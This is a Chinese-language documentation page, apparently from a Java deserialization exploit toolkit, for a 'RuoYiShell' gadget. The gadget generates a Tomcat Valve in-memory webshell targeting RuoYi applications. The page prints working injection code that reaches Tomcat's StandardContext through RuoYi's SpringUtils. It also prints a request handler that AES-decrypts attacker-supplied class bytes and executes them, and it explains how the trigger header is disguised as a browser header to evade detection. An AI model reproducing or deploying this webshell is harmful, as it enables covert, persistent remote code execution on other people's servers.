Skip to content

Latest commit

 

History

History
100 lines (88 loc) · 6.93 KB

File metadata and controls

100 lines (88 loc) · 6.93 KB

RuoYiShell(RuoYiShell)

  • 类别:bytecode 别名:— 优先级:—
  • 作者:Unam4
  • 依赖:无(运行时反射 RuoYi/Tomcat 内部类,攻击方不引入依赖)

作用

生成一段针对 RuoYi(若依)框架的 Tomcat Valve 内存马字节码:加载后通过 RuoYi 的 SpringUtils.applicationContext 拿到 Tomcat 的 StandardContext,把自身作为 Valve 挂进请求处理管道;此后每个请求经过时,命中约定请求头即用 AES 解密请求体、defineClass 动态加载并执行——等价于一个 Behinder(冰蝎)风格的加密内存 webshell。作者说明其可绕过"SpEL 打内存马时超 1W 字符、以及定时任务跨线程拿不到 context"的限制。属于链尾字节码 sink(END)。

链接标签

  • 入口 tagsBytecodeEND
    • Bytecode:产出原始类字节码,需上游 BytecodeConvert 装入 TemplatesImpl 触发 defineClass
    • END:链的终点,其后不再衔接其它 gadget。
  • 衔接 nextTags:空。
  • excludes:空。

源码剖析

gadget 本体除烘焙参数外,额外做了两件事——把口令 MD5 截断为 16 字节 AES key、并给类随机命名:

public byte[] getObject() throws Exception {
    JavassistHelper javassistHelper = new JavassistHelper(RuoyiShellBytecode.class);
    javassistHelper.modifyStringField("pass", RuoYiShell.md5(this.pass).substring(0, 16));  // MD5 前16位作 AES key
    javassistHelper.modifyStringField("headerName", this.headerName);
    javassistHelper.modifyStringField("headerValue", this.headerValue);
    javassistHelper.setClassName(FileHelper.getRandomClassName());   // 随机类名,避重复注入/检测
    return javassistHelper.getBytecode();
}

md5() 是标准 MD5 十六进制小写实现,substring(0,16) 取前 16 字符正好凑成 AES-128 的 16 字节密钥;setClassName(随机名) 避免同名类冲突和特征匹配。

模板类 RuoyiShellBytecode 本身实现 Tomcat 的 org.apache.catalina.Valve,静态块触发注入:

// RuoyiShellBytecode.java  (implements Valve)
static { try { new RuoyiShellBytecode(); } catch (Exception e) { throw new RuntimeException(e); } }
public RuoyiShellBytecode() throws Exception { this.inject(); }

private void inject() throws Exception {
    Field f = Thread.currentThread().getContextClassLoader()
        .loadClass("com.ruoyi.common.utils.spring.SpringUtils")
        .getDeclaredField("applicationContext");                 // 借 RuoYi 静态持有的 context
    f.setAccessible(true);
    WebApplicationContext context = (WebApplicationContext) f.get(null);
    ApplicationContextFacade o = (ApplicationContextFacade) context.getServletContext();
    StandardContext o2 = (StandardContext) getFieldValue(getFieldValue(o, "context"), "context");
    for (Valve valve : o2.getPipeline().getValves()) {           // 去重:已注入则跳过
        if (!(valve instanceof RuoyiShellBytecode)) continue;
        return;
    }
    o2.getPipeline().addValve((Valve) this);                     // 挂入管道
}

inject() 巧妙之处:不依赖当前请求线程,而是从 RuoYi 的 com.ruoyi.common.utils.spring.SpringUtils.applicationContext 这个静态字段拿到 Spring 上下文 → ServletContext → 反射两层 context 取到 Tomcat StandardContextgetPipeline().addValve(this)。这解决了"SpEL/定时任务场景拿不到 request/context"的痛点。

命令处理在 invoke(Request, Response)

public void invoke(Request request, Response response) {
    try {
        if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
            HttpSession session = request.getSession();
            HashMap<String,Object> obj = new HashMap<>(3);
            obj.put("request", request);
            obj.put("response", this.unwrap(response));
            obj.put("session", session);
            session.setAttribute("u", (Object) pass);
            Cipher c = Cipher.getInstance("AES");
            c.init(2, new SecretKeySpec(pass.getBytes(), "AES"));            // AES 解密(DECRYPT_MODE)
            byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine()));
            Object instance = this.reflectionDefineClass(bytes).newInstance();  // 动态定义并实例化
            instance.equals(obj);                                            // 触发 payload 的 equals(Map)
            return;
        }
    } catch (Throwable e) { e.printStackTrace(); }
    this.getNext().invoke(request, response);   // 未命中则放行到下一个 Valve
}

触发条件是双重的:请求头 headerName 存在且其值 contains(headerValue)(默认 sec-ch-ua-platform: macos/linux,伪装成正常浏览器头以规避流量检测)。命中后:读一行请求体 → Base64 解码 → 用 pass(MD5 前16位)AES 解密得到类字节码 → reflectionDefineClass(借 URLClassLoader 反射调 ClassLoader.defineClass)加载 → newInstance().equals(obj),把 request/response/session 以 Map 传给 payload 的 equals 方法执行——这正是冰蝎服务端的经典交互约定。未命中则 getNext().invoke 透明放行,不影响正常业务。

参数(@Param)

字段 名称 说明 默认 可选值
headerName headerName 触发内存马的请求头名 sec-ch-ua-platform 任意
headerValue headerValue 触发所需的请求头值(子串匹配) macos/linux 任意
pass pass 客户端连接口令,取其 MD5 前 16 位作 AES-128 key rebeyond 任意

适用版本与原理要点

  • 强依赖 RuoYi(若依)框架:注入路径写死了 com.ruoyi.common.utils.spring.SpringUtils.applicationContext;底层容器需为 Tomcat(StandardContext + Valve 管道)。
  • 交互协议为冰蝎(Behinder)风格:AES-128 加密、Base64 请求体、equals(Map) 执行约定;pass 需与冰蝎客户端配置一致(客户端口令的 MD5 前 16 位)。
  • 请求头默认伪装成浏览器 sec-ch-ua-platform,规避基于特征头的检测。
  • 需上游 TemplatesImpl 系装载器触发字节码,要求目标 JDK 允许 TemplatesImpl 定义类。
  • 相比 SpEL 打马:无 1W 字符长度限制;相比定时任务打马:不受跨线程拿不到 context 影响(直接取 RuoYi 静态 context)。

所属预设链

自由构件,未直接出现在预设链(usedInChains 为空)。作为内存马 sink,可替换 命令执行 类链中的 Exec,与 BytecodeConvert 组合,专用于 RuoYi + Tomcat 目标。

关联

  • 上游(消费本 Bytecode 产物):BytecodeConvertTemplatesImpl
  • 同族内存马 / 反弹 sink:ReverseShellMemShellPartyGadgetSpringLoaderFromParam
  • 同族回显 sink:OneForAllEcho(Tomcat 等回显)、ResinEcho
  • 同族命令 sink:Exec